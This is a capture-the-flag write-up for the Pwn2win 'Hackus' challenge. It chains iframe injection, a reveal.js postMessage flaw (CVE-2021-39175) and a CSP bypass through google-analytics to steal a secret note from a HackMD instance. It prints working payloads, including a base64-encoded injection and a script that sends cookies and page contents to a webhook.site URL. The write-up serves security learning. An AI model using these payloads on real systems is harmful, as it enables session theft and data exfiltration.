Pwn2win - Hackus

Share on:

Overview

Writeup by: andyandpandy

Solved by: andyandpandy, eskildsen, 2by4

Writeup

This is most likely an unintended solution.

TL;DR: Create a note with two iframes. First iframe gets /s/secret-note, second gets from evil.com, which returns a html page where another iframe is loaded based on an 0-day (CVE-2021-39175)[https://nvd.nist.gov/vuln/detail/CVE-2021-39175] in a dependency (reveal js), which hedgedoc allowed. Here we postMessages to the iframe which loads an evil script from google analytics, which fetches the /s/secret-note with forced cache, ensuring that it’s the same page that was cached earlier that is sent to the webhook.

Description

Last year, while an oblivious supervisor responsible for Rhiza’s communication systems drank a Hacker-Pschorr Weissbier, an operation was launched by several insurgent groups to both find vulnerabilities in their systems and intercept Rhiza’s communications. Although the operation was very successful, months later all the vulnerabilities were fixed.

We now need you to find a way to hack into their systems again and leak their secret communications.

Server: https://hackus.xyz

The flag is located at: https://hackus.xyz/s/secret-note

You can report URLs at: https://report.hackus.xyz/

You can test locally by deploying the following docker-compose file (only the CodiMD instance with the respective configurations used in the challenge are available):

Source

# This is a deployment file if you want to test locally (only the CodiMD instance is available).
# In the real challenge's instance, a user and a secret note were created.
# The secret note (flag) is located at "https://hackus.xyz/s/secret-note" and can only be accessed by this user.
# You can report URLs at "https://report.hackus.xyz/" and the authenticated user will access them.
# To start the server use "docker-compose up -d".
version: "3" 
services:
  database:
    image: mariadb:10
    environment:
      - MYSQL_USER=hackmd
      - MYSQL_PASSWORD=change_password
      - MYSQL_DATABASE=hackmd
      - MYSQL_RANDOM_ROOT_PASSWORD=true
    volumes:
      - "database-data:/var/lib/mysql"
    restart: always
  codimd:
    image: hackmdio/hackmd:2.4.1
    environment:
      - CMD_DB_URL=mysql://hackmd:change_password@database/hackmd
      - CMD_USECDN=false
      - CMD_ALLOW_ANONYMOUS=true
      - CMD_ALLOW_PDF_EXPORT=false
      - CMD_AUTO_VERSION_CHECK=false
      - CMD_IMAGE_UPLOAD_TYPE=imgur
      - CMD_IMGUR_CLIENTID=0035467289f7f45
    depends_on:
      - database
    ports:
      - "80:3000"
    volumes:
      - upload-data:/home/hackmd/app/public/uploads
    restart: always
volumes:
  database-data: {}
  upload-data: {}

Exploit

First thing you will notice is that the hackmd version is 2.4.1, which is at the time the latest version released.

This essentially tells us that we have to find 0-days, look through recent issues/PRs that are sketchy, or go after the dependencies of the project. Initial setup was based on an issue reported about iframes, sandboxing and xss. Issue 1263

<!-- evil.com -->
<iframe src="https://<uid>.m.pipedream.net" sandbox="allow-scripts allow-top-navigation allow-scripts allow-same-origin"></iframe>

From that we were able to get an iframe injected, which could run javascript, but this is still not on the hackus.xyz domain, so we would not be able to include cookies from here.

So we want XSS on the hackus.xyz domain, so we needed to find something to trigger on their domain instead of pipedream, which is where the plugin reveal js helped. In reveal js the postMessage targetOrigin is specified as “*”, which is bad Read here for more

So because of issue 1263 we were now able to inject html/css/js from an iframe and here we created another iframe with the poor plugin https://hackus.xyz/build/reveal.js/plugin/notes/notes.html We then used postMessage to communicate with. The injection returned by evil.com is below (possibly this can be cleaned up):

<html>
  <body>
      <script>

        var url = atob("PGlmcmFtZSBzcmNkb2M9IjxodG1sPjxzY3JpcHQgc3JjPSdodHRwczovL3d3dy5nb29nbGUtYW5hbHl0aWNzLmNvbS9ndG0vanM/aWQ9aWQnPjwvc2NyaXB0PjwvaHRtbD4iPjwvaWZyYW1lPg==");
        var v = JSON.stringify({"type": "state", "namespace": "reveal-notes", "notes": url});

        var ifr = document.createElement("iframe");
        ifr.setAttribute("src", "https://hackus.xyz/build/reveal.js/plugin/notes/notes.html")
        ifr.setAttribute("sandbox", "allow-scripts allow-same-origin allow-top-navigation allow-forms allow-popups allow-pointer-lock allow-popups-to-escape-sandbox");
        ifr.setAttribute("style", "height:800px;width:800px;");
          
        ifr.onload = () => {
           ifr.contentWindow.postMessage(JSON.stringify({"type": "connect", "namespace": "reveal-notes", "state":                 {"indexv":"asd", "indexh": "asd"}, "url": "anywhere"}), "*")
           setTimeout(() => ifr.contentWindow.postMessage(v, "*"), 1000);
        }
        document.body.appendChild(ifr)

        </script>
    </body>
</html>

There was also a CSP which had to be considered, but there are many options here for loading something in:

default-src 'self'; script-src 'self' vimeo.com https://gist.github.com www.slideshare.net https://query.yahooapis.com 'unsafe-eval' https://disqus.com https://*.disqus.com https://*.disquscdn.com https://www.google-analytics.com 'nonce-ad5259b6-7303-423e-b695-4c6860d2882e' 'sha256-81acLZNZISnyGYZrSuoYhpzwDTTxi7vC1YM4uNxqWaM='; img-src * data:; style-src 'self' 'unsafe-inline' https://github.githubassets.com https://*.disquscdn.com; font-src 'self' data: https://public.slidesharecdn.com https://*.disquscdn.com; object-src *; media-src *; child-src *; connect-src *

Because of some weird parsing issues we used atob for the payload that was about to inject js on the hackus.xyz domain. Payload:

<iframe srcdoc="<html><script src='https://www.google-analytics.com/gtm/js?id=gid'></script></html>"></iframe>

This loads our script from google-analytics because the csp allows this. The script loaded from google analytics:

function(){
  function log( m){ 
    navigator.sendBeacon("https://webhook.site/<uid>/javascript-triggered"+ document.cookie, m);
  }
  
  // Sanity
  log("Loaded google analytics!");
  var twindow = window.open("https://webhook.site/<uid>/popup-triggered");
  setTimeout(function() {log(twindow.document.body.innerHTML)}, 1000);

  
  // Sanity
  fetch("/me" , {"cache": "force-cache"}).then(function(t) {return t.text()}).then(function(r){ log(r)})
  
  // Flag
  fetch("https://hackus.xyz/s/secret-note#/", {"cache": "force-cache"}).then(function(t) {return t.text()}).then(function(r){ log(r)})
     return "evil";     
}

We create a function log that sends to our webhook. There are a few sanity checks along the way that can be simply removed, but the fetch includes one very important thing which is force-cache. We sat with this challenge for a long time because cookies were not included in the headless chrome admin requests. So the payload initially worked on firefox but not for chrome, thereby not for the admin.

Finally we realised that we could first load an iframe with the /s/secret-note and not do anything with it other than know that the admin can see it, and here force the same response through cache.

The note with the iframes that starts it all:

<!-- Flag -->
<iframe src="https://hackus.xyz/s/secret-note#/"></iframe>
<!-- evil.com -->
<iframe src="https://your-url.m.pipedream.net" sandbox="allow-scripts allow-top-navigation allow-scripts allow-same-origin"></iframe>
Flag: CTF-BR{https://i.imgur.com/PmN3Z4T.png_deja_vu}